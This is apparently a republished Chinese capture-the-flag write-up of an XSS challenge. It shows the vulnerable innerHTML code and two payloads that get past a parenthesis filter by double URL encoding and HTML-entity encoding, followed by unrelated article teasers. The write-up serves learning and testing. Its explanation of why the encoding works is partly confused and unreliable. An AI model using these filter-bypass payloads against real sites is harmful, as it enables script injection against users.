Ah That‘s Hawt

news2024/9/21 6:04:57

目录

一、题目

二、思路

三、payload

3.1 方案一

3.1 方案二

 四、思考与总结


一、题目

<!-- Challenge -->
<h2 id="will"></h2>
<script>
    smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
    smith = smith.replace(/[\(\`\)\\]/g, '')
    will.innerHTML = smith
</script>

二、思路

源码中的正则表达式过滤了(`)\四个字符

传入参数被赋值给will变量后,用innerHTML函数添加到了h2中

因为目标是使用alter(1337)进行弹窗,但是正则又过滤了括号,所以应该是编码绕过

思路一:对百分号进行URL编码,通过二次URL解码还原()

思路二:先HTML实体编码,再URL编码

三、payload

3.1 方案一

<img src=1 onerror=location="javascript:alert%25281337%2529">

3.1 方案二

对<svg οnlοad="alter(1337)">先进行一次HTML实体编码,再进行一次URL编码

%3Csvg%20onload%3D%22%26%23x61%3B%26%23x6C%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x28%3B%26%23x31%3B%26%23x33%3B%26%23x33%3B%26%23x37%3B%26%23x29%3B%22%3E

 四、思考与总结

为什么使用两次编码来绕过?

因为浏览器将变量值传给语言后端的时候会进行一次编码,语言后端又将变量值返回给浏览器时又会进行一次编码,所以需要两次编码来进行绕过

如果只使用一次编码,那么在浏览器传给后端的时候,就会把编码还原成原符号被正则过滤。

两次URL编码进行绕过的时候为什么要使用location

location的作用是将等号"="右边的值转换为字符串,因为在JS中对于符号的解码,是只能作为字符常量或者是作为标识符的一部分,不能作为特殊字符解码。一旦被当成特殊字符解码,那么就会被视为普通字符,而不再具有特殊意义。

所以不使用location而直接两次编码的话,第一次进行解码会得到百分号"%",但是该百分号被解码出来既不是字符常量也不是作为标识符的一部分,因此它被视为是普通字符,不在具有特殊意义。在第二次URL解码时,就不会进行解码,因此%不在作为URL码的一部分,而是作为一个普通字符存在

先使用HTML实体编码再使用URL编码的二次编码中,URL编码对实体中的&#符号算不算对符号的编码

当你对字符实体中的符号(比如`&`等)进行URL编码时,实际上是在对包含这些符号的字符实体字符串进行编码,而不是直接对字符实体所代表的原始字符进行编码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2048982.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

甄选系列“论软件开发过程RUP及其应用”,软考高级论文,系统架构设计师论文

论文真题 RUP(Rational Unified Process)是IBM公司的一款软件开发过程产品,它提出了一整套以UML为基础的开发准则,用以指导软件开发人员以UML为基础进行软件开发。RUP汲取了各种面向对象分析与设计方法的精华,提供了一个普遍的软件过程框架,可以适应不同的软件系统、应用…

ant -design 框架以及具体调试

1.介绍 Ant-Design-Vue 是一个基于 Ant Design 设计体系的 Vue 实现。Ant Design 是由阿里巴巴开源的一个企业级 UI 设计语言&#xff0c;旨在提升用户体验和开发效率。Ant-Design-Vue 将 Ant Design 的设计理念和组件库带入了 Vue 生态系统&#xff0c;使得开发者能够在 Vue …

RabbitMQ集群 - 普通集群搭建、宕机情况

文章目录 RabbitMQ 普通集群概述集群搭建数据准备启动容器宕机情况 RabbitMQ 普通集群 概述 1&#xff09;普通模式中所有节点没有主从之分&#xff0c;所有节点的元数据&#xff08;交换机、队列、绑定等&#xff09;都是一致的. 例如只要有任意一个节点上面 新增交换机&…

迈出Python自动化测试的第一步

一、思考❓❔ 1.什么是性能自动化测试? 性能 系统负载能力超负荷运行下的稳定性系统瓶颈 自动化测试 使用程序代替手工提升测试效率 性能自动化 使用代码模拟大批量用户让用户并发请求多页面多用户并发请求采集参数&#xff0c;统计系统负载能力生成报告 2.Python中的性能自…

C++竞赛初阶L1-12-第五单元-while(27~28课)531: T456440 含 k 个 3 的数

题目内容 输入两个正整数 m 和 k&#xff0c;其中 1<m≤1015&#xff0c;1<k≤15 &#xff0c;判断 m 是否恰好含有 k 个 3&#xff0c;如果满足条件&#xff0c;则输出 YES&#xff0c;否则&#xff0c;输出 NO。 输入格式 输入一行&#xff0c;为两个整数 m,k&#x…

【js面试题】js原型,原型链?有什么特点

在 JavaScript 中&#xff0c;原型&#xff08;Prototype&#xff09;和原型链&#xff08;Prototype Chain&#xff09;是实现继承和共享属性与方法的核心机制。理解它们对于深入掌握 JavaScript 的对象模型非常重要。 原型&#xff08;Prototype&#xff09; 每个 JavaScri…

24年上半年天融信营收缩减1.8亿,亏损2.06亿

吉祥知识星球http://mp.weixin.qq.com/s?__bizMzkwNjY1Mzc0Nw&mid2247485367&idx1&sn837891059c360ad60db7e9ac980a3321&chksmc0e47eebf793f7fdb8fcd7eed8ce29160cf79ba303b59858ba3a6660c6dac536774afb2a6330#rd 《网安面试指南》http://mp.weixin.qq.com/s?…

建筑三剑客:平面、剖面与立面图解析

平面图、剖面图与立面图是建筑学中不可或缺的工具&#xff0c;它们共同构成了建筑设计的基础。平面图展示了建筑物的顶部视图&#xff0c;详细标出了房间布局和空间关系。剖面图则揭示了建筑的内部结构&#xff0c;包括楼层分布和垂直交通。而立面图呈现了建筑的外观&#xff0…

【学习笔记】Matlab和python双语言的学习(一元线性回归)

文章目录 前言一、一元线性回归回归分析的一般步骤一元线性回归的基本形式回归方程参数的最小二乘法估计对回归方程的各种检验估计标准误差的计算回归直线的拟合优度判定系数显著性检验 二、示例三、代码实现----Matlab四、代码实现----python回归系数的置信区间公式残差的置信…

入门MySQL数据库

目录 一、MySQL的安装&#xff08;以5.7版本为例&#xff09; 1. 一路默认安装即可&#xff0c;注意root密码。 2.配置环境变量 3.登录数据库 二、指令 1.数据库 2.数据表 3.约束 4.增删改查 1>查 2>增 3>改 4>删 5.数据库用户 6.外键 1>创建添加外…

实验5:数码管实验,51单片机

8个数码管 LED1-LED8分别有P22,P23,P24的A,B,C控制 C B A 000 0-1 001 1-2 010 2-3 011 3-4 101 4-5 110 6-7 111 7-8 共阴极数码管,八段 0-F编码 硬件图 对应P0口 main.c #include<reg52.h>typedef unsigned int u16; typedef unsigned char u8;#d…

RPA在政务领域的发展前景

随着信息技术的迅猛发展&#xff0c;政务领域也在不断探索创新&#xff0c;以提升政府服务的质量和效率。RPA作为一种自动化技术&#xff0c;打破了传统政务服务人工操作的局限&#xff0c;协助基层人员更高效准确地完成录入、审查、校对和数据汇总等各项繁琐的工作&#xff0c…

第1节 安装Flask

我们以Thonny4为例&#xff1a; flask是第一个第三方库。与其他模块一样&#xff0c;安装时可以直接使用python的pip命令实现。 一、找到你的安装目录 这是我的安装目录&#xff1a; D:\thonney4\scripts 二、执行pip pip install Flask

LabVIEW VI 多语言动态加载与运行的实现

在多语言应用程序开发中&#xff0c;确保用户界面能够根据用户的语言偏好动态切换是一个关键需求。本文通过分析一个LabVIEW程序框图&#xff0c;详细说明了如何使用LabVIEW中的属性节点和调用节点来实现VI&#xff08;虚拟仪器&#xff09;界面语言的动态加载与运行。此程序允…

人像修复-DB双曲线

相对于中性灰图层修复&#xff0c;不容易掉色&#xff0c;光影过渡更均匀&#xff0c;适合大范围调整光影&#xff0c;而中性灰适合更调整细节主要用于修饰光影均匀过渡&#xff0c;先大范围修饰整体&#xff0c;再局部细节修饰 建立明度观察层&#xff08;渐变映射曲线&#x…

Xilinx系ZYNQ学习笔记(二)ZYNQ入门

系列文章目录 文章目录 系列文章目录前言简单介绍简称 xc7z020型号FPGAZYNQ实操通用IO点亮LED灯硬件逻辑基础 前言 简单入门一下ZYNQ是何种架构&#xff0c;如何编程&#xff0c;至于深入了解应该要分开深入学习Linux和FPGA 简单介绍 其基本架构都是在同一个硅片上集成 FPGA …

『Android』如何配置 Jetpack-Compose 环境

记录配置Jetpack Compose环境的一些坑~ 直接创建kotlin项目或创建java项目后再配置均可 根目录 build.gradle 配置kotlin环境构建脚本 buildscript {ext.kotlin_version 1.4.32dependencies {classpath "org.jetbrains.kotlin:kotlin-gradle-plugin:$kotlin_version&q…

T5:运动鞋图片识别

T5周&#xff1a;运动鞋品牌识别 **一、前期工作**1.设置GPU&#xff08;用CPU可忽略该步骤&#xff09;2.导入数据3.查看数据 **二、数据预处理**1.加载数据2.可视化数据3.配置数据集 **三、构建CNN网络模型****四、编译模型****1、设置动态学习率** **五、训练模型****六、模…

【iOS】——响应者链和事件传递链

事件传递 事件传递流程 发生触摸事件后&#xff0c;系统会将该事件封装成UIEvent对象加入到一个由UIApplication管理的事件队列 UIApplication会从事件队列中取出最前面的事件&#xff0c;并将事件分发下去以便处理&#xff0c;通常&#xff0c;先发送事件给应用程序的主窗口…

什么你还不懂keepalived高可用负载均衡架构?

1、部署keepalived 1.1、keepalived简介 vrrp 协议的软件实现,原生设计目的为了高可用 ipvs 服务 官网: http://keepalived.org/ 功能: 基于 vrrp 协议完成地址流动 为 vip 地址所在的节点生成 ipvs 规则 ( 在配置文件中预先定义 ) 为 ipvs 集群的各 RS 做健康状态检测 基…